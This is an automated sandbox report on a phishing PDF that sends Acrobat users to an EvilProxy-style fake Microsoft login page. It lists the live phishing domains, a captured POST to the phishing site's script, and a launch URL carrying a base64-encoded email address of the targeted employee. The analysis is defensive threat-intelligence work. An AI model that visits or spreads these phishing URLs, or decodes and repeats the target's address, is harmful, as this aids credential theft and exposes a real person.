Edit tour

Windows Analysis Report
Rockwool-Msg-S9039587897.pdf

Overview

General Information

Sample name:	Rockwool-Msg-S9039587897.pdf
Analysis ID:	1573617
MD5:	50525e80399b27203de8c7d05e439abf
SHA1:	c921dd3af29858d5391691dd9d75023cce658ba6
SHA256:	30390c3a8b18830fdee4772d3f40660f3ef87a26f7ec2f4a23cea46e373eca5d
Infos:

Detection

EvilProxy, HTMLPhisher

Score:	80
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

Yara detected Evil Proxy Phishing kit

Yara detected HtmlPhish10

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

HTML page contains obfuscated javascript

Phishing site or detected (based on various text indicators)

HTML body contains low number of good links

HTML body contains password input but no form action

HTML title does not match URL

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Invalid 'forgot password' link found

Invalid T&C link found

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 2128 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Rockwool-Msg-S9039587897.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7220 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7408 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2228 --field-trial-handle=1640,i,14327772544071213855,9611246643050550386,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 7900 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://tphzc9.fergusonlatest.net/#YWRhbS5sdWJpa0Byb2Nrd29vbC5jb20= MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 7392 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1944,i,11112617639601827250,14197265475082299923,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author
0.3.id.script.csv	JoeSecurity_EvilProxy	Yara detected Evil Proxy Phishing kit	Joe Security
2.5..script.csv	JoeSecurity_EvilProxy	Yara detected Evil Proxy Phishing kit	Joe Security
2.4.pages.csv	JoeSecurity_EvilProxy	Yara detected Evil Proxy Phishing kit	Joe Security
2.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
2.3.pages.csv	JoeSecurity_EvilProxy	Yara detected Evil Proxy Phishing kit	Joe Security
2.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 1 entries

HTTP traffic detected: POST /m/script.php HTTP/1.1Host: qxydsa4dws.cenislerge.shopConnection: keep-aliveContent-Length: 547sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: */*Content-Type: application/x-www-form-urlencoded; charset=UTF-8X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://qxydsa4dws.cenislerge.shopSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htmAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm

Source: 77EC63BDA74BD0D0E0426DC8F80085060.1.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: 2D85F72862B55C4EADD9E66E06947F3D0.1.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: chromecache_202.5.dr	String found in binary or memory: https://acctcdn.msauth.net/converged_ux_v2_nBE5FSqn9KpH44ZlTc3VqQ2.css?v=1
Source: chromecache_202.5.dr, chromecache_204.5.dr	String found in binary or memory: https://acctcdn.msauth.net/images/clear1x1.png
Source: chromecache_202.5.dr	String found in binary or memory: https://acctcdn.msftauth.net/converged_ux_v2_nBE5FSqn9KpH44ZlTc3VqQ2.css?v=1
Source: chromecache_200.5.dr, chromecache_197.5.dr, chromecache_193.5.dr	String found in binary or memory: https://getbootstrap.com/)
Source: chromecache_200.5.dr, chromecache_197.5.dr, chromecache_193.5.dr	String found in binary or memory: https://github.com/twbs/bootstrap/blob/main/LICENSE)
Source: chromecache_200.5.dr, chromecache_193.5.dr	String found in binary or memory: https://github.com/twbs/bootstrap/graphs/contributors)
Source: chromecache_205.5.dr	String found in binary or memory: https://qxydsa4dws.cenislerge.shop/?email=

Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50036 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 50007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50056
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50055
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 50078 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50060
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50063
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50064 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50060 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50064
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 50056 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50046 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50038 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50034 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50078
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 50047 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 50037 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50072 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443

Source: classification engine

Classification label: mal80.phis.winPDF@30/100@23/8

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-12 06-06-11-086.log

Jump to behavior

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: unknown	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Rockwool-Msg-S9039587897.pdf"
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2228 --field-trial-handle=1640,i,14327772544071213855,9611246643050550386,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://tphzc9.fergusonlatest.net/#YWRhbS5sdWJpa0Byb2Nrd29vbC5jb20=
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1944,i,11112617639601827250,14197265475082299923,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2228 --field-trial-handle=1640,i,14327772544071213855,9611246643050550386,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1944,i,11112617639601827250,14197265475082299923,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Rockwool-Msg-S9039587897.pdf	Initial sample: PDF keyword /JS count = 0
Source: Rockwool-Msg-S9039587897.pdf	Initial sample: PDF keyword /JavaScript count = 0

Source: Rockwool-Msg-S9039587897.pdf

Initial sample: PDF keyword /EmbeddedFile count = 0

Source: Rockwool-Msg-S9039587897.pdf

Initial sample: PDF keyword obj count = 93

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	1 System Information Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	1 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://qxydsa4dws.cenislerge.shop/m/jx/IOI6PDFGKTOC7F7X41LO745P3	0%	Avira URL Cloud	safe
https://qxydsa4dws.cenislerge.shop/m/ic/76LXZHDGH9P3ITQ8VQI158R4G	0%	Avira URL Cloud	safe
https://qxydsa4dws.cenislerge.shop/m/sm/FWR0B8JIAWSHJTFRVCBHZAQQ8	0%	Avira URL Cloud	safe
https://qxydsa4dws.cenislerge.shop/m/mxl/sig_op.svg	0%	Avira URL Cloud	safe
https://qxydsa4dws.cenislerge.shop/?email=	0%	Avira URL Cloud	safe
https://qxydsa4dws.cenislerge.shop/m/script.php	0%	Avira URL Cloud	safe
https://tphzc9.fergusonlatest.net/	0%	Avira URL Cloud	safe
https://qxydsa4dws.cenislerge.shop/m/mxl/Wd.png	0%	Avira URL Cloud	safe
https://qxydsa4dws.cenislerge.shop/m/mxl/mlg.svg?7OK90379JX6CJ5RS12RRJ790B	0%	Avira URL Cloud	safe
https://qxydsa4dws.cenislerge.shop/m/ecpt/RO2LW20A33DKH6T0JW0W6E353	0%	Avira URL Cloud	safe
https://qxydsa4dws.cenislerge.shop/m/bxg/DEC300GVPCIFO06FK0GDRIEYW	0%	Avira URL Cloud	safe
https://qxydsa4dws.cenislerge.shop/m/aty/754DU96LZE77WZ3C1HGB1Z9P3	0%	Avira URL Cloud	safe
https://qxydsa4dws.cenislerge.shop/m/cxx/Y17WOGJT9PXC49QKRPCDK23RH	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.1.229	true	false	high
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
tphzc9.fergusonlatest.net	104.21.48.1	true	true	unknown
qxydsa4dws.cenislerge.shop	209.74.95.101	true	true	unknown
sni1gl.wpc.upsiloncdn.net	152.199.21.175	true	false	high
www.google.com	142.250.181.132	true	false	high
api.ipify.org	104.26.12.205	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
aadcdn.msauthimages.net	unknown	unknown	false	high
x1.i.lencr.org	unknown	unknown	false	high
cdn.jsdelivr.net	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://qxydsa4dws.cenislerge.shop/m/mxl/sig_op.svg	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css	false		high
https://qxydsa4dws.cenislerge.shop/m/ic/76LXZHDGH9P3ITQ8VQI158R4G	false	Avira URL Cloud: safe	unknown
https://aadcdn.msauthimages.net/c1c6b6c8-tkja1ftrbnoasuxsmjlhdym92xfdwjgxashihkdd5fq/logintenantbranding/0/illustration?ts=636318050997797084	false		high
https://tphzc9.fergusonlatest.net/	true	Avira URL Cloud: safe	unknown
https://qxydsa4dws.cenislerge.shop/m/script.php	false	Avira URL Cloud: safe	unknown
https://qxydsa4dws.cenislerge.shop/m/sm/FWR0B8JIAWSHJTFRVCBHZAQQ8	false	Avira URL Cloud: safe	unknown
https://qxydsa4dws.cenislerge.shop/m/jx/IOI6PDFGKTOC7F7X41LO745P3	false	Avira URL Cloud: safe	unknown
https://qxydsa4dws.cenislerge.shop/m/ecpt/RO2LW20A33DKH6T0JW0W6E353	false	Avira URL Cloud: safe	unknown
https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm	true		unknown
https://qxydsa4dws.cenislerge.shop/?email=YWRhbS5sdWJpa0Byb2Nrd29vbC5jb20=	true		unknown
https://api.ipify.org/?format=json	false		high
https://aadcdn.msauthimages.net/c1c6b6c8-tkja1ftrbnoasuxsmjlhdym92xfdwjgxashihkdd5fq/logintenantbranding/0/bannerlogo?ts=636317448793075703	false		high
https://qxydsa4dws.cenislerge.shop/m/mxl/Wd.png	false	Avira URL Cloud: safe	unknown
https://qxydsa4dws.cenislerge.shop/m/mxl/mlg.svg?7OK90379JX6CJ5RS12RRJ790B	false	Avira URL Cloud: safe	unknown
https://qxydsa4dws.cenislerge.shop/m/aty/754DU96LZE77WZ3C1HGB1Z9P3	false	Avira URL Cloud: safe	unknown
https://qxydsa4dws.cenislerge.shop/m/bxg/DEC300GVPCIFO06FK0GDRIEYW	false	Avira URL Cloud: safe	unknown
https://qxydsa4dws.cenislerge.shop/m/cxx/Y17WOGJT9PXC49QKRPCDK23RH	false	Avira URL Cloud: safe	unknown
https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.1.dr	false		high
https://qxydsa4dws.cenislerge.shop/?email=	chromecache_205.5.dr	true	Avira URL Cloud: safe	unknown
https://github.com/twbs/bootstrap/blob/main/LICENSE)	chromecache_200.5.dr, chromecache_197.5.dr, chromecache_193.5.dr	false		high
https://getbootstrap.com/)	chromecache_200.5.dr, chromecache_197.5.dr, chromecache_193.5.dr	false		high
https://github.com/twbs/bootstrap/graphs/contributors)	chromecache_200.5.dr, chromecache_193.5.dr	false		high
https://acctcdn.msftauth.net/converged_ux_v2_nBE5FSqn9KpH44ZlTc3VqQ2.css?v=1	chromecache_202.5.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
151.101.1.229	jsdelivr.map.fastly.net	United States	54113	FASTLYUS	false
104.26.12.205	api.ipify.org	United States	13335	CLOUDFLARENETUS	false
209.74.95.101	qxydsa4dws.cenislerge.shop	United States	31744	MULTIBAND-NEWHOPEUS	true
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.21.96.1	unknown	United States	13335	CLOUDFLARENETUS	false
152.199.21.175	sni1gl.wpc.upsiloncdn.net	United States	15133	EDGECASTUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1573617
Start date and time:	2024-12-12 12:05:15 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowspdfcookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Rockwool-Msg-S9039587897.pdf
Detection:	MAL
Classification:	mal80.phis.winPDF@30/100@23/8
Cookbook Comments:	Found application associated with file extension: .pdf Found PDF document Close Viewer

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 92.122.16.141, 142.250.181.99, 172.217.19.206, 64.233.164.84, 23.32.238.89, 2.19.198.48, 2.19.198.74, 23.32.238.163, 23.32.238.160, 23.32.238.137, 23.32.238.88, 2.19.198.75, 162.159.61.3, 172.64.41.3, 54.224.241.105, 18.213.11.84, 50.16.47.176, 34.237.241.83, 172.217.17.78, 23.195.61.56, 199.232.210.172, 2.20.40.170, 23.32.238.152, 23.32.238.128, 23.32.238.96, 2.19.198.65, 23.32.238.113, 104.18.187.31, 104.18.186.31, 192.229.221.95, 172.217.17.67, 172.217.17.35, 172.217.17.42, 142.250.181.42, 172.217.21.42, 216.58.208.234, 142.250.181.138, 142.250.181.106, 172.217.19.170, 172.217.19.10, 172.217.19.234, 142.250.181.10, 172.217.17.74, 142.250.181.74, 172.217.19.202, 23.218.208.109, 172.202.163.200, 13.107.246.63
